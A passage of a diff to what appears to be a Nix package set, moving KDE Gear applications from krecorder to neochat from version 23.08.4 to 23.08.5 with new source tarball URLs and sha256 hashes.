"${mirror}/stable/release-service/23.08.4/src/krecorder-23.08.4.tar.xz"; - sha256 = "0wsn7kjk73619w24233s0and2q0li8yy7zlpfx4v8h9c926431di"; - name = "krecorder-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/krecorder-23.08.5.tar.xz"; + sha256 = "0198wy6pa9nc1lly4szfxyma2np693pkg408iljxx3pxxi8vvvn8"; + name = "krecorder-23.08.5.tar.xz"; }; }; kreversi = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kreversi-23.08.4.tar.xz"; - sha256 = "13lf6hbg0a4ni119j3c21x72n7wpjb9g1f6dbdazrjmjvz5bfql5"; - name = "kreversi-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kreversi-23.08.5.tar.xz"; + sha256 = "1mddxiawjyzjpwvb72jrh10012kq3q7nlvi33v02xs4qlw1npyy0"; + name = "kreversi-23.08.5.tar.xz"; }; }; krfb = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/krfb-23.08.4.tar.xz"; - sha256 = "1139rgd77k53i0gglbjb5lwcnrs3fik19a953lrzhicc881a65dv"; - name = "krfb-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/krfb-23.08.5.tar.xz"; + sha256 = "0xmkzrg408qab1nrv48kkpghxds6vm981iipqrfc2fv8b2khmr46"; + name = "krfb-23.08.5.tar.xz"; }; }; kross-interpreters = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kross-interpreters-23.08.4.tar.xz"; - sha256 = "1f0vqj1yl5knw55cy2ldxz090n7gxw3m7lwb5z7mr6mazaf06l4z"; - name = "kross-interpreters-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kross-interpreters-23.08.5.tar.xz"; + sha256 = "0yzs6y42m9dx02ig9i2m932q6qcclg0r67sd4k53c038giri0y1m"; + name = "kross-interpreters-23.08.5.tar.xz"; }; }; kruler = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kruler-23.08.4.tar.xz"; - sha256 = "08q5pnwiprnj4rwl9brw2r28gaxl9acfd61dkl9kigcasijwz75m"; - name = "kruler-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kruler-23.08.5.tar.xz"; + sha256 = "0gilrz96yidqx698vs42gymb552d16vjwynmnpxs8hsr2z8snsqs"; + name = "kruler-23.08.5.tar.xz"; }; }; ksanecore = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksanecore-23.08.4.tar.xz"; - sha256 = "1r00sl09cn4vryv11cc080f6r9qrh0q6va66d2a9sdkqfa8idlap"; - name = "ksanecore-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksanecore-23.08.5.tar.xz"; + sha256 = "18lv3lvh4cx4jwsdwa2ip9qngf7bd1vdf62xhfyb969py75c869x"; + name = "ksanecore-23.08.5.tar.xz"; }; }; kshisen = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kshisen-23.08.4.tar.xz"; - sha256 = "1pdjy5zx7q4ajk00y5mgm6kxq17qmf0rwnakwfi938lzlvv06cir"; - name = "kshisen-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kshisen-23.08.5.tar.xz"; + sha256 = "1xa6nmgcavxxsiw0igjqfkzlr6qv5d620mp606afi890qw2firzj"; + name = "kshisen-23.08.5.tar.xz"; }; }; ksirk = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksirk-23.08.4.tar.xz"; - sha256 = "05cy7iv80zfqa44gi0w29i5njbp7idjli5699b15as2nadmzbfxv"; - name = "ksirk-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksirk-23.08.5.tar.xz"; + sha256 = "0rggnzv6kaabqb6nhr6ldxfbn4lndr60vfch34lhwwgpb5f06d3a"; + name = "ksirk-23.08.5.tar.xz"; }; }; ksmtp = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksmtp-23.08.4.tar.xz"; - sha256 = "1hwyf1idk0a9a77gk7l2d7k3l6jy34pz6j7vcw1a7wfniz3ri8wz"; - name = "ksmtp-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksmtp-23.08.5.tar.xz"; + sha256 = "1i8vmk1cmill8arglq1af0ck2r0j3bzx4sfz8r94bh0ybfarh1nx"; + name = "ksmtp-23.08.5.tar.xz"; }; }; ksnakeduel = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksnakeduel-23.08.4.tar.xz"; - sha256 = "0ydsplqw4sijq2rfdyhzdzf95bnp3mpflwk8p4r3iahay3kcihk3"; - name = "ksnakeduel-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksnakeduel-23.08.5.tar.xz"; + sha256 = "1whqx45pg8kzhwvip20i408j6qk622cvisbpv91kfd0ab76p2k4b"; + name = "ksnakeduel-23.08.5.tar.xz"; }; }; kspaceduel = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kspaceduel-23.08.4.tar.xz"; - sha256 = "01fqs6izbm34ypjrlbsqwvac7kqrc4vjkx6i04kq5zsaybawzy1i"; - name = "kspaceduel-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kspaceduel-23.08.5.tar.xz"; + sha256 = "0cf1yi05l0s05p8p38m6ygqjxb9zyiijf89raw8y2kjhp30cnjsn"; + name = "kspaceduel-23.08.5.tar.xz"; }; }; ksquares = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksquares-23.08.4.tar.xz"; - sha256 = "0j3vivk6ci1k7pfv441rq915zdpzrf9a6fsh06igci34v1vm9yni"; - name = "ksquares-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksquares-23.08.5.tar.xz"; + sha256 = "055wkwr7nhwlzzqbz8m34yi4zgsnnw8pbxdn30d2rndra9kxmmx0"; + name = "ksquares-23.08.5.tar.xz"; }; }; ksudoku = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksudoku-23.08.4.tar.xz"; - sha256 = "05zklr7mm81xz3m5lriyll1vkphwq5hz8ry423733ryaqqyjsdzs"; - name = "ksudoku-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksudoku-23.08.5.tar.xz"; + sha256 = "0rhpjhmqk4xhcjxi2l0v7yzhsa8b8mmgsylmxl4hw4lsvp7vx5lj"; + name = "ksudoku-23.08.5.tar.xz"; }; }; ksystemlog = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ksystemlog-23.08.4.tar.xz"; - sha256 = "1fgnyi8aqr8b6zw91k049ljvs6jgl5frjw6zrz0jnc75lijc9zzc"; - name = "ksystemlog-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ksystemlog-23.08.5.tar.xz"; + sha256 = "0mn36n3g5g7sihw2r2y1a79ggmxpwikvxkh1rlhpavx721jh7rl0"; + name = "ksystemlog-23.08.5.tar.xz"; }; }; kteatime = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kteatime-23.08.4.tar.xz"; - sha256 = "194c4q5pc9h5v1v6k80xchd3ysj42khwaq912dinvy43py1rw8sw"; - name = "kteatime-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kteatime-23.08.5.tar.xz"; + sha256 = "1rn23hlnn9grjrx5kh2c9dsx8pm3gd0rg6i49wwrml2hvmkmg1af"; + name = "kteatime-23.08.5.tar.xz"; }; }; ktimer = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktimer-23.08.4.tar.xz"; - sha256 = "08bcs3xh1yr2p2nnklb72jkfdxlrqp47pva4f886micanqfxhhjb"; - name = "ktimer-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktimer-23.08.5.tar.xz"; + sha256 = "05nxbzh4ka0w8f40q15wm7lj0vpgq70q2qb3vfliv7xdz4b59yjm"; + name = "ktimer-23.08.5.tar.xz"; }; }; ktnef = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktnef-23.08.4.tar.xz"; - sha256 = "0ffg2qc5nlnhmdhnq9ry2b34kis0z0bsk0iqp1mk5fs8ksasli75"; - name = "ktnef-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktnef-23.08.5.tar.xz"; + sha256 = "0a5ld53az9k8csb6psb622xx4nm96f6wz96z5rfdbnamqmyci7rp"; + name = "ktnef-23.08.5.tar.xz"; }; }; ktorrent = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktorrent-23.08.4.tar.xz"; - sha256 = "0q8a3xsxk1sxaa90vj4fpq35xlmjwj86kki46w572dsx7bmcpwym"; - name = "ktorrent-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktorrent-23.08.5.tar.xz"; + sha256 = "10npi12qdibzpxjx102fh8fxiv5gk89xlp1s43aq01mckcnsvf0n"; + name = "ktorrent-23.08.5.tar.xz"; }; }; ktouch = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktouch-23.08.4.tar.xz"; - sha256 = "18zfmmanz1f8jqhckb23pspsmprl1ran6vbxdqcfl4pb928b63fr"; - name = "ktouch-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktouch-23.08.5.tar.xz"; + sha256 = "0pcwypzfn5kh1byvj902vcsxsiyqqbp8w4xv51k6g90darrjl41d"; + name = "ktouch-23.08.5.tar.xz"; }; }; ktrip = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktrip-23.08.4.tar.xz"; - sha256 = "1c9j0hqhq6hpsacm05qmkbiyr3bq57llqsvq1a9qy6yd1fldn4xg"; - name = "ktrip-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktrip-23.08.5.tar.xz"; + sha256 = "17kn0jqhraxp5anj18lhv4v6xwjx3qybnsvz47biwbfiy8b715yl"; + name = "ktrip-23.08.5.tar.xz"; }; }; ktuberling = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ktuberling-23.08.4.tar.xz"; - sha256 = "12q07w5s3bv3rx1irypzw83l4y47j1zqk67akkrhcgf9f69jz71w"; - name = "ktuberling-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ktuberling-23.08.5.tar.xz"; + sha256 = "1263qkjvbg0dcrrr7w847vm9mq249glwgvxn9i5yck5qdk3cb4wm"; + name = "ktuberling-23.08.5.tar.xz"; }; }; kturtle = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kturtle-23.08.4.tar.xz"; - sha256 = "1782pnybvjqpzdppsz5284dibasz7rk03pbz6il7dz86l701phlz"; - name = "kturtle-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kturtle-23.08.5.tar.xz"; + sha256 = "1mhd8b4rdysvvcjh37vr36ykg2avzdl3sgdsn5svzdga808vc8z4"; + name = "kturtle-23.08.5.tar.xz"; }; }; kubrick = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kubrick-23.08.4.tar.xz"; - sha256 = "12p6k800chp7qhj6shj1xp2pvfxm0cw50598s95c8jxhv44d4fg2"; - name = "kubrick-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kubrick-23.08.5.tar.xz"; + sha256 = "000cc8rf63y2km0zzykpdxv24d5jp83p71kf4f3jxqr1lan2gxbm"; + name = "kubrick-23.08.5.tar.xz"; }; }; kwalletmanager = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kwalletmanager-23.08.4.tar.xz"; - sha256 = "0p62nl2y1fdlgzinzafhd1xgndn93c4qcl0gn6gicjfi9a37qjd1"; - name = "kwalletmanager-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kwalletmanager-23.08.5.tar.xz"; + sha256 = "1f45jqzn5j23adxb8p7z468klbn42kg2idcjqjm616kia348l7rr"; + name = "kwalletmanager-23.08.5.tar.xz"; }; }; kwave = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kwave-23.08.4.tar.xz"; - sha256 = "0wicp8zpk1q45aqx1zhwq8v9yh173zvmz5ncv4nr3dm1jgvh4l4q"; - name = "kwave-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kwave-23.08.5.tar.xz"; + sha256 = "0264rz92198pa6rdjiim95z50wlp0myyr2f56m82cig5x69kl666"; + name = "kwave-23.08.5.tar.xz"; }; }; kweather = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kweather-23.08.4.tar.xz"; - sha256 = "1fr19q59577pml6wj1di72yvdk0q6brd637vqn7xwbdvjhhk6vvn"; - name = "kweather-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kweather-23.08.5.tar.xz"; + sha256 = "04qab954y4mlz7ng1giyc20ndmihi0plli4wqjl6clzip7wi99l7"; + name = "kweather-23.08.5.tar.xz"; }; }; kwordquiz = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kwordquiz-23.08.4.tar.xz"; - sha256 = "1gnwmba6b08a1wgw40c71h7qgqk7sknj495hh66rxgm03injnpj0"; - name = "kwordquiz-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kwordquiz-23.08.5.tar.xz"; + sha256 = "1w5hczhn0cv7r89s5kq1smwc1kkpsxrd7bqan4v26jd0d4r28jjy"; + name = "kwordquiz-23.08.5.tar.xz"; }; }; libgravatar = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libgravatar-23.08.4.tar.xz"; - sha256 = "1w9z0d85gdkghx7k9506rg0fzgzvah9wfvyq16hhjgfb4cv0292w"; - name = "libgravatar-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libgravatar-23.08.5.tar.xz"; + sha256 = "15ynbjn2lrz08iriqf2il2b7hqwvypb758p24z1d6hj68hjgl9dc"; + name = "libgravatar-23.08.5.tar.xz"; }; }; libkcddb = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkcddb-23.08.4.tar.xz"; - sha256 = "130ajnb4k1i48r015xfw5yp8ys72hgz5gqgvpa4vfqy71hbhndr9"; - name = "libkcddb-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkcddb-23.08.5.tar.xz"; + sha256 = "1igrrhzvs1rvn8p1cmiwl68h3bza4wc1pkllphksq5vjb9w9plj3"; + name = "libkcddb-23.08.5.tar.xz"; }; }; libkcompactdisc = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkcompactdisc-23.08.4.tar.xz"; - sha256 = "166nj97pars5anx1k8dc7f92cfnbb0mvwgi9cpsz138bxpqvn3zi"; - name = "libkcompactdisc-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkcompactdisc-23.08.5.tar.xz"; + sha256 = "1zwn9nic6fm2wkyhdc8ssyq0jjc6jrvc7aym422fzkmhr104llkg"; + name = "libkcompactdisc-23.08.5.tar.xz"; }; }; libkdcraw = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkdcraw-23.08.4.tar.xz"; - sha256 = "1mm3gsp7lfqxb9irk59hrzaxdqjv28iwaa1xmpazw4q62nmlj7mi"; - name = "libkdcraw-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkdcraw-23.08.5.tar.xz"; + sha256 = "04cgjz0f580v8nszki2qk6ms7p0wp8zj0pxsnwr80ipz97j8045b"; + name = "libkdcraw-23.08.5.tar.xz"; }; }; libkdegames = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkdegames-23.08.4.tar.xz"; - sha256 = "1v4xskpclyr7qv94xrmw33zvcff1ymb2y6b658rdxari1gjpamja"; - name = "libkdegames-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkdegames-23.08.5.tar.xz"; + sha256 = "1vggyamhr15k29zkyyjp0kgvq8n9a4yyxaal41w06q3x6bs87i8a"; + name = "libkdegames-23.08.5.tar.xz"; }; }; libkdepim = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkdepim-23.08.4.tar.xz"; - sha256 = "0rga1s5y3lsq8awgdpd3yaqjczgjakhf12v553hg0nz8b1cl4s7z"; - name = "libkdepim-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkdepim-23.08.5.tar.xz"; + sha256 = "17yvnpgrmwi23b3ia3c73nzma2n46jh7n9a1vjgivjx32rs2w7kf"; + name = "libkdepim-23.08.5.tar.xz"; }; }; libkeduvocdocument = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkeduvocdocument-23.08.4.tar.xz"; - sha256 = "1jvbkyb2gnh8a47724m95nb30g58jnzlwja5p9gx1rwjha28jkcp"; - name = "libkeduvocdocument-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkeduvocdocument-23.08.5.tar.xz"; + sha256 = "05lyycpx6yz6xg0z88fmlf1zzlxwiy9nkk1ma88p8f06kz1qkbmx"; + name = "libkeduvocdocument-23.08.5.tar.xz"; }; }; libkexiv2 = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkexiv2-23.08.4.tar.xz"; - sha256 = "1xpki1b3007wm17pnjvfrqb2qlx7wkps5bzhn1m4k30i6vxa2q50"; - name = "libkexiv2-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkexiv2-23.08.5.tar.xz"; + sha256 = "1wlv3byg8lkc57mr1mf1ymc1ghg49im6xr6bgvqzlrchg4q30h9i"; + name = "libkexiv2-23.08.5.tar.xz"; }; }; libkgapi = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkgapi-23.08.4.tar.xz"; - sha256 = "1dvfj1pgfw2sysr2x06fzfxbr2xb949kgy0b52aq0akq5534qrfc"; - name = "libkgapi-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkgapi-23.08.5.tar.xz"; + sha256 = "18yp81mbq0dvpmi1yiab6nnjg65n89fl3l2iw9rnm8m8lcr9y90h"; + name = "libkgapi-23.08.5.tar.xz"; }; }; libkipi = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkipi-23.08.4.tar.xz"; - sha256 = "0z3xlsyms58l84fvgjxf6y83a82p81s6gk8757y9aiidjihzih88"; - name = "libkipi-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkipi-23.08.5.tar.xz"; + sha256 = "11b2c3qwb47ijr7q04hcc50kwdclig9n72injadw7df6fnp18h3j"; + name = "libkipi-23.08.5.tar.xz"; }; }; libkleo = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkleo-23.08.4.tar.xz"; - sha256 = "01sspgd1sf3dzds05jbvylif4vza3zb0fz2hfrrvmjvflswgbazi"; - name = "libkleo-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkleo-23.08.5.tar.xz"; + sha256 = "09a6ihlia4wpj5lwwih94w92xw277fk6bdj1ngbzix8cnzjd6c23"; + name = "libkleo-23.08.5.tar.xz"; }; }; libkmahjongg = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkmahjongg-23.08.4.tar.xz"; - sha256 = "0cp2zpk0444jf1rr6jnn0v62sbx1baf646ki8g2hpmsmvqwvslih"; - name = "libkmahjongg-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkmahjongg-23.08.5.tar.xz"; + sha256 = "0rf37nbxr6m2l7dgj8alfh57zmp39d76swrvv98k9hn5dh5v923s"; + name = "libkmahjongg-23.08.5.tar.xz"; }; }; libkomparediff2 = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libkomparediff2-23.08.4.tar.xz"; - sha256 = "07kfsnijj7xm4mvz95dzn3xmmczxl6bqzdr7d5jcv33kvp46mdbn"; - name = "libkomparediff2-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libkomparediff2-23.08.5.tar.xz"; + sha256 = "1l2awsm0ikf1kba72j67k0x5jfc48398pw406saq86l1mcfl23fr"; + name = "libkomparediff2-23.08.5.tar.xz"; }; }; libksane = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libksane-23.08.4.tar.xz"; - sha256 = "1gsd5wlvh9c8xaprp0sjxknjc8yzz2f04kla5012a0a2761ym7d0"; - name = "libksane-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libksane-23.08.5.tar.xz"; + sha256 = "0vig4iws3c1kl1749gfig9g7fjz31g35lysb9ijdbzck46czzpfy"; + name = "libksane-23.08.5.tar.xz"; }; }; libksieve = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libksieve-23.08.4.tar.xz"; - sha256 = "0ixriyls3ynwkyfjyvax4r851nh5xb1hvvcyphjd6apzy9zci08f"; - name = "libksieve-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libksieve-23.08.5.tar.xz"; + sha256 = "0p422lvgvm1ma0vm4wf24d1bhjj4jns7qaxp8nkhwhsvs0nlh1js"; + name = "libksieve-23.08.5.tar.xz"; }; }; libktorrent = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/libktorrent-23.08.4.tar.xz"; - sha256 = "0vyv8m2s37zmhs145n8lk1p8npxcrd2xvw1aciyjc0nrxrx46z1v"; - name = "libktorrent-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/libktorrent-23.08.5.tar.xz"; + sha256 = "1gcpsa49g35jymy9162pjanx8ih0q7viygqwdvvylslfb8zkr8hg"; + name = "libktorrent-23.08.5.tar.xz"; }; }; lokalize = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/lokalize-23.08.4.tar.xz"; - sha256 = "0ca52y67sqcjmzmxz3s6vpdlycr9k8sm8v07xmkxw6m77l97f5rq"; - name = "lokalize-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/lokalize-23.08.5.tar.xz"; + sha256 = "0v1yhcljbzlm4jgk5bc7d6bp13s6si7issi7h4mz92awpp0a6fc5"; + name = "lokalize-23.08.5.tar.xz"; }; }; lskat = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/lskat-23.08.4.tar.xz"; - sha256 = "1qcp2mxwddqxv8pzzaqq6sq8qyvxfy55k3pz8x7zml0iswspbv3r"; - name = "lskat-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/lskat-23.08.5.tar.xz"; + sha256 = "1qg1y9lhk9x573gwzs6c84bcx7nsmn80il29w5gxf88hkngznlsd"; + name = "lskat-23.08.5.tar.xz"; }; }; mailcommon = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/mailcommon-23.08.4.tar.xz"; - sha256 = "11z9zvwlqiylrkmw1hfsvqjwgiil7g2gzfh3avrrf3p4d8mc3y3g"; - name = "mailcommon-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/mailcommon-23.08.5.tar.xz"; + sha256 = "1h0gsrgxxvyhjy7vsh21wch1j1lwadjnyvssvvdzncw2ky63ppb5"; + name = "mailcommon-23.08.5.tar.xz"; }; }; mailimporter = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/mailimporter-23.08.4.tar.xz"; - sha256 = "14w82drnf5vzjcqwhs34i82ismmbbkmp6ryw64xvv70idi64gyid"; - name = "mailimporter-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/mailimporter-23.08.5.tar.xz"; + sha256 = "0njkw27ag6z21n6sp1395mv4khf9r6qi5333nfspqw690gfjp5wl"; + name = "mailimporter-23.08.5.tar.xz"; }; }; marble = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/marble-23.08.4.tar.xz"; - sha256 = "13vsrfzcff64wxgi0rfsmlca62kbbny4c8rn7j90jbzdrjw5aafg"; - name = "marble-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/marble-23.08.5.tar.xz"; + sha256 = "120b987irps4i80amri7d7ci28vi6zjd74nc0m5n9y954wqzyv45"; + name = "marble-23.08.5.tar.xz"; }; }; markdownpart = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/markdownpart-23.08.4.tar.xz"; - sha256 = "0gr2hd7jnx6s3fsssasf7c2hl6mk3j2ccb6552k6bpdvl1ianmfc"; - name = "markdownpart-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/markdownpart-23.08.5.tar.xz"; + sha256 = "1wpbspb5xhxqybanc5ckwrb2h5fqa3ivj564i31jbxlkwdvmp41j"; + name = "markdownpart-23.08.5.tar.xz"; }; }; mbox-importer = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/mbox-importer-23.08.4.tar.xz"; - sha256 = "1pninrlpwpakpc3a50aqfjvm1y828xsqm51vbblx41yrs9sfkbmz"; - name = "mbox-importer-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/mbox-importer-23.08.5.tar.xz"; + sha256 = "1ar06iz73qs81k6bd2n77qj4390ql37j37w50jvjpbysbxk2knjz"; + name = "mbox-importer-23.08.5.tar.xz"; }; }; merkuro = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/merkuro-23.08.4.tar.xz"; - sha256 = "1rdfbvir3aadgkpqnh5j3b2snwkfgay130qnr2w0lhfs3dx3q4pj"; - name = "merkuro-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/merkuro-23.08.5.tar.xz"; + sha256 = "15s2hwwh9b4jf11am6v7llsgvix11y6qnlwdspyzpq45378hwpcs"; + name = "merkuro-23.08.5.tar.xz"; }; }; messagelib = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/messagelib-23.08.4.tar.xz"; - sha256 = "1nahb2zhwi6scx5pc2abgjxz13m5rnsaknvcmiarih4zald5vncs"; - name = "messagelib-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/messagelib-23.08.5.tar.xz"; + sha256 = "1y6xa3z6j04gxdwcfk3y4pskx7blvpxwrixxgjadba51x4lsydys"; + name = "messagelib-23.08.5.tar.xz"; }; }; minuet = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/minuet-23.08.4.tar.xz"; - sha256 = "1wrqwgcibqifgwzz0q40rmasykxilknx9rv60yzqjlc1bh1611xg"; - name = "minuet-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/minuet-23.08.5.tar.xz"; + sha256 = "1bk5y99gb1qmvyf48vk6gfwyqi6nk535868k3jm375bvd956sd3m"; + name = "minuet-23.08.5.tar.xz"; }; }; neochat = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/neochat-23.08.4.tar.xz"; - sha256 = "1sdcg24s0gvim8s6mzqn6s5cjf8sag52w0wnicm2y15w0210763d"; - name = "neochat-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/neochat-23.08.5.tar.xz"; + sha256 = "0cj6j08g5ng1vifpb49rks9kp4mfb3h466n6afw9dk0xxgccc06k"; + name = "neochat-23.08.5.tar.xz"; 